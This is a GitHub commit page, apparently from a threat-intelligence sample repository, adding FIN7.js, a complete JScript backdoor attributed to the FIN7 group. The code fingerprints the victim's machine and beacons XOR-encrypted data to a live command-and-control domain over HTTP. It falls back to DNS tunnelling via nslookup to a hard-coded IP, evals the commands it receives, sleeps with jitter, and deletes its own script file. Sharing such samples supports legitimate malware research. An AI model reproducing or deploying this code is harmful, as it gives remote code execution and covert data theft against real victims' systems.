Create FIN7.js
This commit is contained in:
StrangerealIntel
GitHub
parent
9aee11835f
commit
1332351713
253
Russia/Cybercriminal group/FIN7/FIN7.js
Normal file
253
Russia/Cybercriminal group/FIN7/FIN7.js
Normal file
@ -0,0 +1,253 @@
|
||||
String.prototype.shuffle = function()
|
||||
{
|
||||
var a = this.split(""),n = a.length;
|
||||
for (var i = n - 1;i > 0;i--)
|
||||
{
|
||||
var j = Math.floor(Math.random() * (i + 1));
|
||||
var tmp = a[i];
|
||||
a[i] = a[j];
|
||||
a[j] = tmp;
|
||||
}
|
||||
return a.join("");
|
||||
};
|
||||
String.prototype.trim = function() { return this.replace(/^\s+|\s+$/g, "") };
|
||||
Array.prototype.last = function() { return this[this.length - 1] };
|
||||
var Base64 = {
|
||||
encode: function(e)
|
||||
{
|
||||
var key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_*".shuffle();
|
||||
var K = key + " ", t = "", n, r, i, s, o, u, a, f = 0;
|
||||
while (f < e.length)
|
||||
{
|
||||
n = e.charCodeAt(f++);
|
||||
r = e.charCodeAt(f++);
|
||||
i = e.charCodeAt(f++);
|
||||
s = n >> 2;
|
||||
o = (n & 3) << 4 | r >> 4;
|
||||
u = (r & 15) << 2 | i >> 6;
|
||||
a = i & 63;
|
||||
if (isNaN(r)) {u = a = 64;}
|
||||
else if (isNaN(i)) {a = 64;}
|
||||
t = t + K.charAt(s) + K.charAt(o) + K.charAt(u) + K.charAt(a);
|
||||
}
|
||||
return key + t.trim();
|
||||
}
|
||||
};
|
||||
var mode=4;
|
||||
function id ()
|
||||
{
|
||||
var lrequest = wmi.ExecQuery("select * from Win32_NetworkAdapterConfiguration where ipenabled = true");
|
||||
var lItems = new Enumerator(lrequest);
|
||||
for (;!lItems.atEnd();lItems.moveNext())
|
||||
{
|
||||
var mac = lItems.item().macaddress;
|
||||
var dns_hostname = lItems.item().DNSHostName;
|
||||
if(typeof mac === "string" && mac.length > 1)
|
||||
{
|
||||
if(typeof dns_hostname !== "string" && dns_hostname.length < 1)
|
||||
{
|
||||
dns_hostname = "Unknown";
|
||||
}
|
||||
else
|
||||
{
|
||||
for (var i = 0;i < dns_hostname.length;i++)
|
||||
{
|
||||
if (dns_hostname.charAt(i) > "z")
|
||||
{
|
||||
dns_hostname = dns_hostname.substr(0, i) + "_" + dns_hostname.substr(i + 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
return mac + "_" + dns_hostname;
|
||||
}
|
||||
}
|
||||
}
|
||||
function crypt_controller (type, request)
|
||||
{
|
||||
var encryption_key = "";
|
||||
if(type === "decrypt")
|
||||
{
|
||||
request = unescape(request);
|
||||
var request_split = request.split("&_&");
|
||||
request = request_split[0];
|
||||
encryption_key = request_split[1].split("");
|
||||
}
|
||||
else
|
||||
{
|
||||
encryption_key = (Math.floor(Math.random()*9000) + 1000).toString().split("");
|
||||
request=unescape(encodeURIComponent(request));
|
||||
}
|
||||
var output = new Array(request.length);
|
||||
for (var i = 0;i < request.length;i++)
|
||||
{
|
||||
var charCode = request.charCodeAt(i) ^ encryption_key[i % encryption_key.length].charCodeAt(0);
|
||||
output[i] = String.fromCharCode(charCode);
|
||||
}
|
||||
var result_string = output.join("");
|
||||
if(type === "encrypt")
|
||||
{
|
||||
result_string = result_string + "&_&" + encryption_key.join("");
|
||||
result_string = escape(result_string);
|
||||
}
|
||||
return result_string;
|
||||
}
|
||||
function rs(len, rnd)
|
||||
{
|
||||
var ret = "";
|
||||
for (var i = 0;i < len + Math.floor(Math.random() * rnd);i++)
|
||||
{
|
||||
ret += String.fromCharCode(0x61 + Math.floor(Math.random() * 26));
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
function get_host()
|
||||
{
|
||||
var l1 = ["com", "net", "org"];
|
||||
var hst = rs(3, 2); // give 3-4 random letters
|
||||
var ext = l1[Math.floor(Math.random() * l1.length)]; //get random TLD of the array l1
|
||||
return ["185.231.153.21", hst, ext]; // random like 185.231.153.21,aaaa,org
|
||||
}
|
||||
function nslookup(hst, svr, tp)
|
||||
{
|
||||
var rnd = "";
|
||||
var ofile = shell.ExpandEnvironmentStrings("%Temp%") + "\x5Cnl" + rs(3, 5) + ".tmp";
|
||||
res = shell.Run("%comspec% /c nslookup.exe -timeout=5 -retry=3 -type=" + tp + " " + hst + " " + svr + " > " + ofile + " 2>&1", 0, 1);
|
||||
var lines = [];
|
||||
if (fso.FileExists(ofile))
|
||||
{
|
||||
var fileObj = fso.GetFile(ofile);
|
||||
var ts = fileObj.OpenAsTextStream(1, -2);
|
||||
while (ts.AtEndOfStream !== true) {lines.push(ts.ReadLine());}
|
||||
ts.Close();
|
||||
fso.DeleteFile(ofile);
|
||||
}
|
||||
if (res != 0) return null;
|
||||
var istext = false;
|
||||
var errors = ["Unspecified error", "No response from server", "Non-existent domain", "Server failed"];
|
||||
for (var i = 0; i < lines.length;i++)
|
||||
{
|
||||
var line = lines[i];
|
||||
for (var e in errors) { if (line.indexOf(errors[e]) > -1){ return null; } }
|
||||
if (line.indexOf("Address:") > -1)
|
||||
{
|
||||
var ip = line.split(":").last().trim();
|
||||
if (ip != svr){return ip;}
|
||||
}
|
||||
if (istext && line.trim() != "")
|
||||
{
|
||||
var txt = line.trim().split("\x22").join("");
|
||||
return txt;
|
||||
}
|
||||
istext |= line.indexOf("text =") > -1;
|
||||
};
|
||||
return istext ? "" : null;
|
||||
}
|
||||
|
||||
function send_dns(req, data)
|
||||
{
|
||||
var packs = Base64.encode(req + "?" + data).match(/.{1,63}/g);
|
||||
var hst = get_host();
|
||||
var n = 0;
|
||||
var p = "";
|
||||
while (packs.length > 0)
|
||||
{
|
||||
n++;var snd = packs.shift();
|
||||
for (var i = 0;i < 2;i++) {if (packs.length > 0) snd += "." + packs.shift();}
|
||||
snd += "." + hst[1] + n + "." + hst[2];
|
||||
p = nslookup(snd, hst[0], "A");
|
||||
if (p === null) return "no";
|
||||
}
|
||||
n = 0;
|
||||
var ret = "";
|
||||
p = nslookup(hst[1] + "." + hst[2], hst[0], "TXT");
|
||||
if (p === null || p == "") return "no";
|
||||
while (p != "")
|
||||
{
|
||||
n++;
|
||||
ret += p;
|
||||
p = nslookup(hst[1] + n + "." + hst[2], hst[0], "TXT");
|
||||
if (p == null){return "no";}
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
function get_path ()
|
||||
{
|
||||
var pathes = ["images", "pictures", "img", "info", "new"];
|
||||
var files = ["sync", "show", "hide", "add", "new", "renew", "delete"];
|
||||
var path = pathes[Math.floor(Math.random() * pathes.length)] + "/" + files[Math.floor(Math.random() * files.length)];
|
||||
return "https://moviedvdpower.com/" + path;
|
||||
}
|
||||
function send_data (type, data, crypt)
|
||||
{
|
||||
if (type === "request")
|
||||
{
|
||||
var req = "?type=name";
|
||||
data = "lwirwavfynacqo=" + crypt_controller(encrypt, "group=ksoc._37817_1110&rt=512&secret=a04848d2beb242e82c8477c429595e5a&time=120000&uid="+ uniq_id + "&id=" + id() + "&" + data);
|
||||
}
|
||||
else
|
||||
{
|
||||
var req = "?type=content&id=" + uniq_id;
|
||||
if (crypt) {data = crypt_controller(encrypt, data);}
|
||||
}
|
||||
if (mode>0)
|
||||
{
|
||||
try
|
||||
{
|
||||
var http_object = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
||||
http_object.open("POST", get_path () + req, false);
|
||||
http_object.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.1;Win64;x64;rv:69.0) Gecko/20100101 Firefox/50.0");
|
||||
http_object.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||
http_object.setOption(2, 13056);
|
||||
http_object.send(data);
|
||||
mode = 4;
|
||||
return http_object.responseText;
|
||||
}
|
||||
catch(e){ if (e.number!=-1072896748){mode-=1}return "no";} }
|
||||
if (mode<1)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (type !== "request" && !crypt)
|
||||
{
|
||||
var xml = WScript.CreateObject("MSXml2.DOMDocument");
|
||||
var el = xml.createElement("Base64Data");
|
||||
el.dataType = "bin.base64";
|
||||
el.nodeTypedValue = data;
|
||||
data="b64:"+el.text;
|
||||
}
|
||||
mode -= 1;
|
||||
if (mode<-50){ mode = 1; }
|
||||
return send_dns(req, data);
|
||||
}
|
||||
catch (e) {return "no";}
|
||||
}
|
||||
}
|
||||
function main ()
|
||||
{
|
||||
var ncommand = "";
|
||||
ncommand = send_data("request", "page_id=new", true);
|
||||
if(ncommand !== "no")
|
||||
{
|
||||
try {eval(crypt_controller("decrypt", ncommand));}
|
||||
catch(e) {}
|
||||
}
|
||||
var random_knock = 120000 + (Math.floor(Math.random() * 16001) - 5000);
|
||||
WScript.Sleep(random_knock);
|
||||
main();
|
||||
}
|
||||
var first = false;
|
||||
var shell = new ActiveXObject("WScript.Shell");
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var wmi = GetObject("winmgmts:root/CIMV2");
|
||||
var uniq_id = new Date().getUTCMilliseconds();
|
||||
var app_path = shell.expandEnvironmentStrings("%APPDATA%");
|
||||
if(fso.GetAbsolutePathName(fso.GetParentFolderName(app_path)).indexOf("AppData") > 5)
|
||||
{
|
||||
if(WScript.ScriptFullName.indexOf("morito")<0){fso.deleteFile(WScript.ScriptFullName);}
|
||||
try
|
||||
{
|
||||
WScript.Sleep(120000);
|
||||
main();
|
||||
}
|
||||
catch(e) {main();}
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user